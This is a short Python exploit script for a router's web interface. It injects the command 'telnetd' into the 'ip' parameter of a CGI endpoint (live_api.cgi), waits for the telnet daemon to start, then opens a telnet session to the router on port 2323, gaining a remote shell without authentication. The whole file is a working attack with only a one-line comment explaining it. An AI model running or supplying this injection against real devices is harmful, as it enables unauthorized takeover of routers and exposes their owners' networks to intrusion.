#!/usr/bin/python3

import os, requests, time

# This script executes the telnet daemon remotely and attempts to
# connect to it.
ROUTER_IP = "192.168.10.1"
ROUTER_PORT = "80"
INJECT_COMMAND = "telnetd"
TELNET_PORT = 2323
ROUTER_URI = f"/cgi-bin/live_api.cgi?page=hacked&id=1337&ip=;{INJECT_COMMAND};"

print("[+] Using command line injection vulnerability")
requests.get(f"http://{ROUTER_IP}:{ROUTER_PORT}{ROUTER_URI}")

print(f"[+] Waiting for {INJECT_COMMAND} to execute...")
time.sleep(2)

print(f"[+] Executing telnet")
os.system(f"telnet {ROUTER_IP} {TELNET_PORT}")
